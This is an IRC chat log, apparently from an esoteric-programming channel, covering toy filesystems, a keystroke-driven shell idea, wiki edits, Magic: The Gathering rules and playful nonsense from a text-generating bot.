18:29:53  (concrete input: http://int-e.eu/~bf3/tmp/something)
18:30:13  oh god int-e wtf is that
18:30:45  izabera: well, try your bash script on it... burn a bit of CPU.
18:32:39  (I think this is within the parameters: pieces of length 28, and there's 973 of them)
18:34:15  Hmm, the file also produces unintended but interesting visual effects at various line break lengths, fun...
18:37:17  e.g. http://int-e.eu/~bf3/tmp/something.png
18:41:19  (I have not tried to figure out why it's slow; note that the order that the pieces are given in matters... so this may be far from the worst case)
18:42:05 -!- hppavilion[1] has joined.
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18:54:49  so it just times out even if my code is fine
18:54:51  great
18:55:38 -!- hppavilion[2] has joined.
18:56:22  actual input i managed to get from the site, + solution produced by my code   http://arin.ga/3eZ8kV/raw
18:56:56 -!- zadock has joined.
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19:16:51  why isn't mroman here
19:22:49  int-e: The png looks FAST.
19:23:44  Just, you know, æsthetically.
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19:26:23  pbbbt
19:27:13  @tell boily Give me an upboat: http://codegolf.stackexchange.com/questions/62732/implement-a-truth-machine/63402#63402
19:27:13  Consider it noted.
19:27:34  fizzie, oh wow it does
19:28:19  lightning!
19:30:49  where in england is "not" pronounced like "naught"? is it like the whole country or something?
19:31:03  I don't
19:31:09  So it's not the whole country
19:31:16  oh okay
19:31:18  hmm, english pronunciation i a knotty business
19:31:27  and a naughty one too
19:31:55  naught / not / knot  was indeed my inspiration
19:32:38  but i know it's said that way in brighton... the kooks guy does it
19:33:21  in the U.S., e.g. Cali, the vowel shift moves in the other direction
19:34:00  (i.e. the "cot" side of the cot/caught merger)
19:34:40  i'm pretty sure england is an esolang
19:37:03  i like how 'compiler language with no pronounceable acronym' has a perfectly pronouncable acryonym in welsh
19:39:13  Kinda like cloonpa, right?
19:39:28  No, that would by CLYNPA
19:39:32  Maybe?
19:39:37  I don't know Welsh phonetics
19:43:33  oh man. it was a strange day today. 
19:43:38  Looking it up, I think it'd be cloonpa
19:43:45  b_jonas, what happened?
19:44:13  Taneb: work stuff. complicated meeting where we actually talked about lots of relevant stuff, even if we didn't quite see eye to eye.
19:44:27  we definitely couldn't solve everything, but at least know more about what each of us thinks should be solved.
19:44:57  So basically, I waited for the meeting because some people were busy so it had to be delayed and then delayed again,
19:45:10  then participated on the complicated meeting and asked stupid questions and took notes,
19:45:23  then wrote a memo which was difficult because it was a long meeting with lots of things said,
19:45:38  but still had to be done so that later people can't claim they don't remember what happened on the meeting,
19:45:55  and in the middle of this I did lots of other small things that had to be done.
19:46:55  Like, with changes in how some procedures are done at the job, which are for the better in the long term, but cause a little hitch when we change to it, and people don't always know what's happening and say contradictory things.
19:49:43  Today I wrote a FizzBuzz that calls C (indirectly) from Agda
19:50:40  Taneb: great!
19:56:13  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45231&oldid=45168 * -Dark-Phantom- * (-219) New instructions, string literals and improved examples
19:56:47  b_jonas, https://github.com/Taneb/AgdaCBuzz
19:57:22  Build instructions are non-existent, but it's cabal install ==> compile the agda file
20:05:39  I'm happy with my command prompt design :)
20:05:44 -!- hppavilion[2] has changed nick to hppavilion1.
20:05:48  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45232&oldid=45159 * -Dark-Phantom- * (-60) /* DStack */
20:06:17 -!- hppavilion1 has changed nick to hppavilion[1].
20:06:23  [wiki] [[List of quines]]  http://esolangs.org/w/index.php?diff=45233&oldid=45169 * -Dark-Phantom- * (-439) /* DStack */
20:06:24  There we go
20:06:55  [wiki] [[Truth-machine]]  http://esolangs.org/w/index.php?diff=45234&oldid=45160 * -Dark-Phantom- * (-10) /* DStack */
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21:24:45  fungot, ais523 still hasn't returned?
21:24:45  b_jonas: fnord/ court/ state/ fnord. -user:splashsplashsmallsupuser talk:splashtalk/sup/small 00:24, 26 january 2007 ( utc))
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21:36:13  [wiki] [[SPLEMIT21]] N http://esolangs.org/w/index.php?oldid=45235 * 93.198.137.24 * (+1090) Created page with "SPLEMIT21 ''(short for Shortest Programming Language Ever Made In The 21st [Century])'' is a joke language developed by [http://twitter.com/fucketh1cs Maximilian Krause aka fu..."
21:37:54  [wiki] [[List of quines]]  http://esolangs.org/w/index.php?diff=45236&oldid=45233 * 93.198.137.24 * (+24) /* Cheating Quines */  SPLEMIT21
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21:50:54  do you say 'the omega+1-st step' ?
21:51:33  or 'the omega+1-th step' ?
21:52:34  izabera: "the step of index omega plus one", or "on the day omega plus one"
21:52:55  izabera: oh, you mean which of "st" or "th" suffix you use? probably "st" because English is crazy
21:53:04  yeah that
21:55:51  i guess + changes the normal rules
21:57:32 -!- hppavilion[2] has joined.
22:03:02  I now have an editor made solely for manipulating the default filesystem for my OS
22:04:28  a fs editor?
22:04:46  what does it do?
22:05:49  izabera: It allows me to manipulate files outside of the OS for convenience
22:06:09  No way to create a new file though, at least not yet
22:07:58  hppavilion[2]: can it grow the size of an existing file?
22:08:27  b_jonas: I believe so; I mean, no reason it wouldn't be able to
22:08:58  I'm using python for this (so it's not a "real" OS), meaning that I don't have arbitrary limitations like I would in C or the like
22:10:11  hppavilion[2]: finding where the bytes of the file are located by reading the metadata is easy. you have to know more about the fs than that if you also want to modify the metadata to allocate space for growing the file and associating that space with the file.
22:10:58  if you know where the bytes are stored, you can modify them directly, that much is easy. 
22:11:18  this may depend on the details of file system, sure, but still
22:12:19  b_jonas: I'm storing the FS in JSON xD
22:12:40  It's saved to disk as a ".fsys" file (windows) that is really just a subset of JSON
22:13:22  that sounds strange for a filesystem, but ok
22:13:42  b_jonas: I mean that that's how it's stored when the OS is closed, so that you can go back to it later
22:14:26  does your fs allow storing arbitrary byte sequences as file content? if so, how do you encode that to json?
22:15:31 -!- atrapado has quit (Quit: Leaving).
22:15:35  b_jonas: Yes it does; the file data is just a string.
22:15:56  ALL files are like that, if you're willing to abuse ASCII
22:16:54  you can't seek if you have to decode json
22:17:24  izabera: ?
22:17:31  Can't seek as in...?
22:17:41  as in "go to byte 12345 in this file"
22:18:14  hppavilion[2]: the input of JSON encoding is a deep structure that contains character strings, and the output is a character string (often encoded as UTF-8, which is recommended for JSON).
22:18:49  hppavilion[2]: if you want to store binary strings, you have to somehow encode them to character strings, or else you won't know what backslash escapes to use for characters that you can't represent literally.
22:19:00  izabera: Ah. I can do that, because I decode it to Python Dicts on loading. I think that works.
22:19:20  b_jonas: I used the json module, which seems to handle everything like that for me xD
22:19:30  I'm doing this the cheaty way
22:20:06  ah, so basically you don't know what your code does. ok.
22:20:24  that could work.
22:20:45  b_jonas: That's how programming works xD
22:21:16  I don't so much "Not know what my code does" as "Using external services and tools to do the heavy lifting, which I need not understand because they're complicated"
22:21:29  "But they work, so it's OK"
22:21:38  "And they're open-source, so it's doubly-OK"
22:21:38 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
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22:36:52 -!- sacadouche has joined.
22:38:11  list
22:40:09 -!- bb010g has quit (Quit: Connection closed for inactivity).
22:42:26  `welcome
22:42:32 -!- _leaf_ has quit (Ping timeout: 272 seconds).
22:42:34  `welcome sacadouche 
22:42:38  aww come on
22:42:39  sacadouche: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:42:40  Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:42:50  did i lag or HackEgo did?
22:43:22 -!- hppavilion[2] has quit (Ping timeout: 272 seconds).
22:43:23 -!- Phantom_Hoover has quit (Ping timeout: 252 seconds).
22:43:43  I think you did
22:44:09 -!- hppavilion[2] has joined.
22:44:11  :(
22:46:14  [wiki] [[Talk:Esoteric Operating System]]  http://esolangs.org/w/index.php?diff=45237&oldid=43607 * Hppavilion1 * (+129) /* Making one */ new section
22:46:24 -!- hppavilion[2] has changed nick to hppavilion[1].
22:48:41  I would like someone to define a command-line shell inspired by BF (because it's like the crowning esolang, despite its flaws (namely, the derivatives)). I can implement it.
22:48:48  SQLite now includes an extension to read/write JSON (although I also have my own extension to read JSON data with SQLite; my own doesn't write though)
22:51:03  hppavilion[1]: I wouldn't know how to define such a thing (as I cannot think of it right now), although if I do I will tell you; but probably you or someone else to figure it out.
22:53:26  I'm making the shape of the FileSys a digraph.
22:54:26  If you want to make it a graph then you might use RDF though, rather than JSON
22:56:17  zzo38: Well it's a digraph, which is fairly easy to represent with JSON
22:57:20  Perhaps a HYPERgraph would be more Eso...
22:57:49  zzo38: What do you think about a hypergraph filesys?
22:59:09  Maybe later. Don't know yet how to make that work
22:59:26  I don't know either, but if you do know how to make it work, go ahead and try please!
23:01:12  You certainly can represent a digraph with JSON, although I think RDF would work better for this purpose. For a hypergraph you will need to do something more (it can also be represented with RDF easily enough, I expect)
23:01:59 -!- boily has joined.
23:02:34  i thought you used json because objects form a tree-like structure
23:02:47 -!- Phantom_Hoover has joined.
23:03:39  i don't see how a generic graph is easy to represent with json
23:03:46  JSON is good for tree-like structure yes
23:06:35  what happens when a YAML parser parses a mutually recursive structure?
23:06:51  <> :edges [:v _:v1, _:v2, _:v3], [:v _:v2, _:v3], [:v _:v3, _:v5, _:v6], [:v _:v4]. # It is one possible way you may represent a hypergraph in RDF; you could even have more than one that shares nodes in this way
23:07:09 -!- oerjan has joined.
23:07:47  @massages-loud
23:07:48  quintopia said 3h 40m 34s ago: Give me an upboat: http://codegolf.stackexchange.com/questions/62732/implement-a-truth-machine/63402#63402
23:08:52  @tell quintopia the upboat was gladly given! :D
23:08:52  Consider it noted.
23:09:07  implement a pooch machine
23:09:29  hellochaf. pooch?
23:09:51  @tell quintopia heh, nice usage of "-ai".
23:09:51  Consider it noted.
23:10:31  boily: pooch
23:11:09  boily: apparently it means cabot hth
23:12:06  ah, un cabot!
23:12:28  tdh.
23:12:54  boily: its the fastest way to subtract large nums
23:13:08  boily: http://i.imgur.com/9n3q5pV.gifv
23:14:30  PURE UNDILUTED WIZZARDRY!
23:14:57  what is diluted wizardry like?
23:15:18   <-- i guess you need some kind of faster dictionary that allows you to quickly find the neighboring nodes and edges
23:15:21  oops
23:15:26   so it just times out even if my code is fine <-- i guess you need some kind of faster dictionary that allows you to quickly find the neighboring nodes and edges
23:15:52  don't know if bash has anything
23:15:56  it does
23:16:00  associative arrays
23:16:15  i was trying to improve it but then i started playing online <.<
23:16:19  The JSON1 extension of SQLite does not include aggregate functions.
23:17:11  izabera: Fentimans.
23:17:32  boily: you didnt vote :(
23:18:21  quintopia: yes I did, but because I just created an account it's not publicly visible :(
23:18:41  (I need 15 reputations for it to become public.)
23:18:48  hm you can vote immediately?
23:19:29  I can, and I get a nice small informative blue popup telling me I need to build more reputations.
23:19:50  well i didn't know it actually _saved_ your vote?
23:19:57  as opposed to ignoring it
23:20:46  Thanks for the feedback! Once you earn a total of 15 reputation, your votes will change the publicly displayed post score.
23:20:58  but then i didn't try voting in that short timespan
23:21:12  i probably didn't even register properly
23:21:18  :/
23:21:44  uh oh
23:21:49  boily is too disreputable to vote?
23:22:06  i recall i waited about a year before i turned my loginless account into a proper one, and only because the cookie expired so it was the only way to get it back
23:22:49  boily: btw if you have enough rep on another SE account you can get 100 free by linking them
23:23:02  yeeeeesh...
23:29:05 -!- hppavilion[2] has joined.
23:29:20  `? yeeeeesh
23:29:21  yeeeeesh? ¯\(°​_o)/¯
23:29:47  the only place i know yeeeeesh from is the Mutts comic
23:29:53  well, yesh
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2015-11-10:

00:00:54 -!- mauris has quit (Ping timeout: 244 seconds).
00:03:02 -!- Wright has joined.
00:06:33 -!- hppavilion[2] has joined.
00:06:35  Got the digraphic filesys working
00:06:41 -!- hppavilion[2] has changed nick to hppavilion[1].
00:07:23 -!- sacadouche has quit (Remote host closed the connection).
00:07:45  what does it do?
00:12:35  `? yeesh
00:12:36  yeesh? ¯\(°​_o)/¯
00:13:43  All right, I have it filled out.
00:13:46  `? yeeeeesh
00:13:47  See yeeeesh.
00:14:55  `? yeeeesh
00:14:56  See yeeesh.
00:15:02  `? yeeesh
00:15:04  See yeesh.
00:15:09  `? yeesh
00:15:10  yeesh? ¯\(°​_o)/¯
00:15:24  NOOOOOOOOOOOOOOOOOOOOOOOOOSH
00:15:36  `? yeeeeeeeeeeeeeeeeeeeeeesh
00:15:37  yeeeeeeeeeeeeeeeeeeeeeesh? ¯\(°​_o)/¯
00:15:42  :(
00:16:02  this download feels ridiculously slow
00:16:17  oh well it's 3/4 through, anyway
00:16:51 * oerjan is downloading the GitHub desktop
00:17:50 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
00:18:23  trying to fix the constraints library
00:23:37  oerjan's reaction there reminds me of something my #esoteric neural net once spit out.
00:23:43  Somewhat abbreviated:
00:23:53  "oh nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooopoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodland"
00:27:32  noodland?
00:31:12  Nopoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodland.
00:32:14  `unidecode ⎕
00:32:15  ​[U+2395 APL FUNCTIONAL SYMBOL QUAD]
00:33:12  So when I see one of those rectangles, that's actually the correct rendering of the character.
00:33:43  kinda like a broken watch that's right twice a day
00:35:36  Man, fuck ///.
00:54:12  🞎 🞎 🞎 🞎
00:56:20  And fuck whoever invented it. (Please!)
00:56:22 * tswett coughs.
00:56:32  No, I didn't just say any such thing.
00:57:04 <\oren\> tswello
01:00:44  Hellu
01:05:18  Dear god Jar Jar is the real phantom menace
01:06:00  yesh
01:10:51 -!- bb010g has joined.
01:13:08  are you watching it now for the first time?
01:14:08  or are you referring to that theory that claims that jar jar was supposed to be the ultimate evil boss?
01:17:02 <\oren\> is jar jar that weird alien dude
01:17:16 <\oren\> who says "meesa"
01:17:38  yep
01:27:30  izabera: I'm refering to the theory. It's amazing.
01:40:34 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
01:42:06 -!- hppavilion[1] has joined.
01:45:41   No, I didn't just say any such thing. <-- it's ok, everyone except Taneb understands.
01:47:58  A language where infinite looping is accomplished through ellipses: put a ... and let the computer figure out the pattern
01:48:00  xD
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01:55:25  hppavilion[1]: For numbers, it'll just consult oeis. :P
01:55:48  zgrep: xD
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02:32:41  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45238&oldid=45194 * SuperJedi224 * (-11178) 
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02:47:18  zzo38: What do you think of Bands with Other?
02:49:17  I like it, it can be a good ability in the correct circumstances (it depends what it bands with and what other creatures you have)
02:49:35  I would want them to reprint bands with other
02:52:38  What sort of cards would you want involving that ability?
02:52:57  i,i bands with other "bands with other" creatures
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03:20:24 * DarkPhantom slaps DarkPhantom around a bit with a large fishbot
03:29:45  a bot that runs fish?
03:36:46  s/s f/s on f/
03:40:51  yeah that's what i was thinking when i wrote that sentence
03:42:08  So either it's powered by fish or it stomps of poor, defenseless fish... your choice.
03:42:13  s/of/on/
03:42:46  basically, i'm expecting a fishbot to be a bot implemented in ><>
03:43:13  shachaf: That is one possibility yes, although there are others, such as "bands with other Walls" or "bands with other white creatures" or "bands with other tokens" or whatever.
03:43:30 -!- hppavilion[2] has quit (Ping timeout: 240 seconds).
03:44:50  (Ordinary banding is another abililty that can be used; which is better depends on circumstances.)
03:46:05  When is bands with other better than ordinary banding?
03:46:28 -!- DarkPhantom has quit (Quit: Page closed).
03:46:29  In the old rules it never was but it is fixed now.
03:46:41  could someone please give me some clue as to what it is mr. black is referring to?
03:48:58  For example if you have "bands with other Walls" then it can band with any number of other Walls (whether or not they have banding), but with ordinary banding you can band with only one other creature that does not have banding ability (although any number with banding).
03:51:23 -!- Frooxius has joined.
03:52:45  The rules say 'one or more attacking [quality] creatures with "bands with other [quality]" and any number of other attacking [quality] creatures' although I think 'one attacking creature with "bands with other [quality]" and any number of other attacking [quality] creatures' may make more sense; it would usually come out to the same thing anyways.
03:54:51  is this MtG stuff?
03:55:05  Yes
03:55:09  aha
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04:08:10  oerjan: ooh rjan
04:08:33  20:07  [constraints] oerjan opened pull request #13: Implement type family based Data.Constraint.Forall (master...ForallTF) http://git.io/v8KUi
04:17:31  I would prefer a rule like this to declare bands:  You must select one attacking creature as the "primary" creature of the band (it doesn't matter whether or not it has any banding ability), and then you may optionally select a "bands with other" ability that the primary creature has. If you did select such an ability, all non-primary creatures in the band must have the specified quality. If you did not select such an ability, all non-primary creatu
04:18:55  (This means that ordinarily each creature would be in a band by itself.)
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04:22:22  StringFuck perhaps? That'd qualify as an original BF derivative...
04:23:54  For example: You have six creatures. "A", "B", "C" are Human and have "bands with other Goblins", while "D", "E" and "F" are Goblin and have no special abilities. Under existing rules no bands can be declared. Under my suggested rules, {A,D,E} is a valid band but {A,B,F} is not valid.
04:25:14  (Under the old rules, I think {A,B,C} would be a legal band but {A,D,E} and {A,B,F} are both invalid. Under both current rules and my suggested rules, {A,B,C} is invalid.)
04:28:39 -!- _leaf_ has quit.
04:31:29  NEW ESOSHELL IDEA
04:31:34  Getch()Shell
04:32:00  A shell where every keystroke matters; every time you hit a key things get done. No backsies. 
04:32:48  shell golfing eh
04:33:33  quintopia: More like every keypress does something AS IT HAPPENS
04:33:51  Instead of the typical waiting-until-the-user-hits-enter bullshit we have now. Efficiency!
04:33:52  xD
04:34:01  yeah but
04:34:12  it just means people compose their commands in a separate app
04:34:14  and paste them in
04:34:23  which means they'll be golfing them probably
04:34:27  quintopia: Control counts as a keypress
04:34:35  And so does v
04:34:45  Two SEPARATE keypresses
04:34:51  who uses ctrl+v to paste to a terminal?
04:34:54  weird
04:35:01  And no pasting via right click
04:35:06  (Menu or direct)
04:35:21  Or drag and drop
04:35:50  this sounds like the worst shell ever made
04:36:06  So, only pasting by keystroke pasting would be the possible one
04:36:07  For leniency, every keypress puts a new state on the belt, and backspace pops a state and reverts to it (but your mistake stays in the shell0
04:36:24  quintopia: It's an esoshell. So... yeah.
04:36:54  ^s/0/)/
04:37:15  hppavilion[1]: since when is eso synonymous with "making things needlessly hard"?
04:37:36  quintopia: It isn't synonymous, but that's how it works. Also, this is like the Malebolge of esoshells
04:37:44  *Malbolge
04:38:23  It isn't meant to be needlessly hard though; it's just meant to be different
04:38:29 * oerjan waves at shachaf 
04:38:47  You are free to make it like that if it is how you want to do, of course. Anyways, "not synonymous" does not necessarily imply "excludes".
04:38:50  dammit, why did it have to be #13
04:39:03  zzo38: Exactly.
04:39:13  oerjan: Why did what have to be #13 of what?
04:39:13  synonymous = =.
04:40:15  hppavilion[1]: You said "so...yeah." as if it were obvious that such a shell should block off every possible way of interacting that isn't the intended one.
04:40:30  Should I call it Getchell?
04:40:34  as if you were shooting for "needlessly hard"
04:40:49  quintopia: Fair enough.
04:41:01  if you'd said malbolgeshell instead of esoshell i would have gotten it from the start
04:41:03  I wasn't aiming to make it needlessly hard; I was making it to be different.
04:41:28  Malbolgeshell is /one/ way of thinking of it, certainly.
04:41:42  Remember though, I /did/ include backspace-to-revert.
04:41:43  zzo38: the number of my first pull request
04:44:30  hppavilion[1]: but why go so far out of your way to prevent pasting?
04:44:55  quintopia: Well really, I just don't want to have to implement pasting because I'm using this for my OS
04:46:27  hppavilion[1]: no, started adding in all kinds of features to prevent pasting even where it would likely already work on its own (e.g. if you just let the shell run in a standard vterm)
04:47:09  And my OS uses a canvas and some bindings instead of directly using the standard streams, because that's what made sense at the time
04:47:29  It's so these command prompts can be drawn onto the GUI
04:50:40  And so I would have an excuse to use the font I made that can only be drawn on Tk canvases
04:50:55  oh okay
04:51:16  I mean, I'll probably allow users to paste stuff in. But no guarantees, of course
04:51:23  implementing paste is really easy though. there's a couple of different libraries to handle it for you
04:51:26  Now to figure out how to implement...
04:51:31  hppavilion[1]: obviously you should call this AntiPasta hth
04:51:38  quintopia: Haven't found a cross-plantform one to date, AFAIK
04:51:50  oerjan: My problem is that I have to support all keyboard characters
04:51:59  xerox is p cross-platform. did you try that?
04:53:04  hm apparently antipasta is a misspeling
04:54:57  I would like to see the .itxt and .ipng file format, for encoding infintely-large text and images
04:55:25  oerjan: but it has become standard for some reason
04:58:59  [wiki] [[Special:Log/newusers]] create  * Hakatashi *  New user account
05:00:20  [wiki] [[Sclipting]]  http://esolangs.org/w/index.php?diff=45239&oldid=44910 * Hakatashi * (+0) /* Byte-array literals */
05:03:03  Ok, I think I've figured out implementation
05:03:46  getattr(self, 'com_'+hex(chr(char))[2:].zfill(2))()
05:03:48  hakatashi eh
05:04:00  WE SHALL FEAST ON HIS BLOOD AT DAWN
05:04:18  (someone oughta tell timwi that sclipting is the most poorly organized and explained article on the wiki, even if it's not true.)
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05:36:47  I figured out the primitive control flow for Getchl
05:36:58  the @ command: Repeats the last command until it fails.
05:37:17  +@ sums the stack
05:37:33  ,@ gets a string of input, terminated by an EOF
05:38:08  Et cetera
05:38:46  Also, of course, ? which is the ternary if
05:44:48 <\oren\> so ?@ is while?
05:45:16  \oren\: I don't /think/ that's how it works
05:45:28  But I'm not thinking it through right now; too tired.
05:45:44  Wait, I think you might be right
05:46:30  If I were to make the conditions for ?'s failure or success right, I suppose it could be the ternary while xD
05:46:40  But really, @ is closer to "reduce" than to "while"
05:46:57  Or "for"
05:48:17  @ doesn't take a block of code; it just repeats the previous instruction until it fails
05:48:44  Though I could, theoretically, make the { and } instructions denote blocks...
05:49:06  Where a block is... what? Pass-or-fail?
05:49:46  A do-while loop... where the condition is whether its contents crashes. That's cool.
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06:55:27  nchambers: HE IS RISEN
06:55:30  xD
07:06:52  I am IRCJesus
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07:10:18  why
07:10:44  the lols
07:11:01  doesn't work
07:12:25  always works
07:14:28  then it's working so much it overflowed and now it's negative lols
07:18:10  what were you expecting
07:18:30  its far to easy to get overflol
07:26:12  how did i manage to miss overflol
07:26:14  i'm retarded
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11:48:07  [wiki] [[Befunge]]  http://esolangs.org/w/index.php?diff=45240&oldid=44831 * 78.91.103.24 * (-171) /* History */ Deleted claims. See comments in discussion.
11:51:36  [wiki] [[Talk:Befunge]]  http://esolangs.org/w/index.php?diff=45241&oldid=42983 * 78.91.103.24 * (+548) 
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11:54:46  fungot, what do you do when you find that each of the separate pieces work fine, but put together they don't work?
11:54:46  b_jonas: basically what i am trying to make the intent of wikipedia to promote the pov that the report " fnord malicious fnord fnord news
11:58:54  [wiki] [[Special:Log/newusers]] create  * Qllzyfyh *  New user account
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12:14:23  fungot: What do you do with a drunken sailor? 
12:14:24  fizzie: definition is ' ' princess of the netherlands will associate the subject with. user:krator ( user talk:kratort special:contributions/ kratorc) 21:47, 30 august 2007 ( utc) fnord
12:16:38  [wiki] [[Brainloller]]  http://esolangs.org/w/index.php?diff=45242&oldid=44761 * Qllzyfyh * (+848) Added Extended Brainloller Type 1
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12:19:08  fungot: fnord fnord?
12:19:08  boily: removed the earlier information, it was this station that was replaced is as follows:
12:19:35  fungot: you replace number stations?
12:19:35  boily: i reverted the changes which included the info ' although it may sound odd, but i believe my breakdown of the four lines into the melody. along with the fourth, is my favorite shostakovich symphony. in fact, a list of the 20 largest urban centres of nsw not local government areas of fnord within their current business processes and to document business knowledge that will be considered a part of his official profile. and
12:25:36  ^style europarl
12:25:36  Selected style: europarl (European Parliament speeches during approx. 1996-2006)
12:26:24  fungot: Mr President, What is your position on what has been called the migrant crisis? 
12:26:25  fizzie: madam president, ladies and gentlemen, i would like to record my appreciation of the political debate of the house attach to the programme. there are proposals such as the greenhouse effect linked to the level that was originally expected. latin america is still living proof of this lies in the negotiations with the council decision of 14 december which i have helped and supported me for i could not do so because those 
12:26:43  Latin America, living proof of the lies.
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12:32:20  fungot: what is your take on the proliferation of walls of text?
12:32:21  int-e: mr president, it is a tangible way of doing things and taking positive steps. curiously though, we have instigated a process of almost ten years in the cause of many of our newspapers, there is only a drop in harvest by an estimated 2.3 million tonnes of food inside goma. so we're not talking about words here.
12:32:55  fungot: thanks
12:32:56  int-e: mr president, mr president, commissioner, over the last twenty months. applause you will strengthen the cooperation between the national authorities then fail to adopt the fourth framework programme is what we demand when the effect of informing and consulting employees and the trades in drugs, but in order for us to extend the length of study to a greater extent, the way in which the slorc oppresses and rules burma. the
12:33:21  the "applause" is a nice touch
12:34:12 * Taneb is at a seminar led by Tony Hoare!
12:43:12  hehe, applause
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12:45:15  [wiki] [[Brainloller]] M http://esolangs.org/w/index.php?diff=45243&oldid=45242 * Qllzyfyh * (+143) Added a note on Extended Brainloller colour ranges.
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12:50:14  The walls-of-text answer was surprisingly fitting.
12:53:00  fungot: Have you ever taken a bribe? 
12:53:00  fizzie: mr president, it was the socialist/ green coalition of chancellor schrder, proposed specifically on the measures to be taken in wto negotiations will cost us a great deal at stake: economic and monetary union.
12:53:22  fungot: So do you think the ends justify the means? 
12:53:23  fizzie: mr president, we are entirely sure that the contracts did in fact agree with what has already been sent to greece. the otila report, which her colleague carlos lage, has presented us with), i want to protest very strongly about i should like to say to mrs frahm and mr cappato and especially with baroness ludford when she says that it is imperative to point out that mr turmes' s report on large combustion plants should b
12:54:55  @tell oerjan thanks for all your work on Data.Constraint.Forall!
12:54:55  Consider it noted.
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14:25:14  [wiki] [[Brainloller]] M http://esolangs.org/w/index.php?diff=45244&oldid=45243 * Qllzyfyh * (+0) Fixed color specification.
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14:49:29  [wiki] [[Special:Log/newusers]] create  * B0811 *  New user account
14:57:24  Hrrm. So, I was going to use libclang for a thing. But now it turns out I don’t actually have a libclang.so, so now I don’t know how to link my program.
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15:01:07  [wiki] [[Yamini]] N http://esolangs.org/w/index.php?oldid=45245 * B0811 * (+506) Created page with "Yamini, the hand model. The intelligent, the idiot, and the one that annoys the crap out of everyone. The world ended on October 16th,2000. Her name is pronounced YEAH-MEANIEE..."
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15:19:17  Ah, it’s just specifically buried.
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16:15:30  oerjan: could you plox delete that Yamini page?
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17:08:41  Did she annoy the crap out of you?
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18:15:06  Jafet: i was slightly annoyed inasmuch as I don't have the editing privileges to revert a page creation myself. but it was more of slight irking than a full on bothering
18:15:22  in the end i'm glad i'm not the one who has to deal with that b.s.
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19:10:51  In getchl, @@ is a mneumonic for "Loop forever and do nothing"
19:19:30  sounds useful
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19:41:38  `sleep infinity
19:41:54  ^ gnu sleep actually supports that
19:42:18  No output.
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19:49:49  [wiki] [[Do loop until failure]] N http://esolangs.org/w/index.php?oldid=45246 * Hppavilion1 * (+1184) Created Page
19:50:33  [wiki] [[Category:Language constructs]] N http://esolangs.org/w/index.php?oldid=45247 * Hppavilion1 * (+66) Created Category
19:51:31  [wiki] [[Do loop until failure]] M http://esolangs.org/w/index.php?diff=45248&oldid=45246 * Hppavilion1 * (+14) Fixed implementation formatting
19:52:52  whoa
19:52:54  lithuanian spam
19:53:29  [wiki] [[Do loop until failure]]  http://esolangs.org/w/index.php?diff=45249&oldid=45248 * Hppavilion1 * (+107) Ideal implementation, see also
19:55:17  what is it?
19:58:27  [wiki] [[Do loop until failure or condition else]] N http://esolangs.org/w/index.php?oldid=45250 * Hppavilion1 * (+841) Created Page
19:59:13  izabera: The do loop until failure? It's all explained on the page.
20:00:36  [wiki] [[Do loop until failure]]  http://esolangs.org/w/index.php?diff=45251&oldid=45249 * Hppavilion1 * (+167) Meaning
20:01:12  no i mean
20:01:16  the lithuanian spam
20:02:03  Oh xD/:(
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20:18:46  what's esoteric about that?
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21:28:34  I am making the program to convert directly from DVI to PBM without needing any PostScript or PDF or other intermediate formats. If you are not tampering with the page order then the input does not have to be seekable and therefore can even be generated with a pipe.
21:32:06  izabera: Really? The manpage doesn’t say anything about it. Or does that count as a floating point number?
21:32:38  Melvar: yeah it's because of how the float is converted
21:33:40  Sadly, "sleep nan" doesn't fly.
21:33:57  strtod, I guess?
21:34:27  That would parse “infinity” according to the manpage.
21:37:27  (TeX cannot pipe the DVI output, although maybe troff is capable of doing this, or an extension of TeX which has such a command-line switch.)
21:38:33  zzo38: you can use piping with postscript too.
21:39:02  Melvar:  if (! xstrtod (argv[i], &p, &s, c_strtod) || ! (0 <= s) || (*p && *(p+1)) || ! apply_suffix (&s, *p)) { error (0, 0, _("invalid time interval %s"), quote (argv[i])); ok = false; }
21:40:35  Huh. Wonder what xstrtod is.
21:40:54  It's a wrapper around strtod-like functions, performing some commonly useful error checking.
21:41:03  The function it calls is the fourth argument, in this case c_strtod.
21:42:15  And c_strtod is some sort of a compile-time dispatcher to either strtod or strtod_l, the latter of which has something to do with locales.
21:44:41  b_jonas: Yes, if you have a program that support it then yes you can do that too of course, if you are using PostScript.
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22:28:44  Is DUP on a queue equivalent to    `dqd=DEQUEUE(); ENQUEUE(dqd); EQUEUE(dqd)`    , or is it closer to    `dqd=PEEK(); ENQUEUE(dqd);`    ?
22:29:03  I would guess the former
22:29:18  what is that?
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22:41:52  [wiki] [[Special:Log/newusers]] create  * Nikoraito *  New user account
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22:50:54 * boily twiddles fungot
22:50:55  boily: i have, i would like to thank commissioner flynn for his dedication and commitment to take action on this matter, especially as we know, usually draws up reports, we condemn the government of spain. it would be more worthwhile voting for if it is based on the mutual assistance which should be subject to codecision, that is, a great deal to say, that strikes me as conduct unworthy of a country, in article 2, second subpar
22:51:42  fungot: twiddle boily
22:51:42  olsner: mr president, ladies and gentlemen, you understand, because they could get the proposed legislation implemented soon. i would just like to say that i will search for global security in the mediterranean
22:52:20   We're getting plenty of new users lately :)
22:52:20  I feel legislatively twiddled.
22:52:25  This's making me happy
22:52:37  new users are fun!
22:52:46  Getchl is coming along nicely, though the letters are hard to map to commands
22:54:49  boily
22:55:57  hppavilion[1]
22:56:05  fungot
22:56:07  hppavilion[1]: mr president, i have listened very carefully to understand it. in the same way, and in particular sensitive traditional sectors such as transport and fisheries. this annual programme will hopefully coincide with the original proposal of eur 971 million to cope with the demands for compensation which might ensue. for that reason mr blak's point and mrs lulling's point were so relevant. what mrs mckenna has just ha
22:56:34  fungot: Why did we condemn the government of Spain again? I forgot.
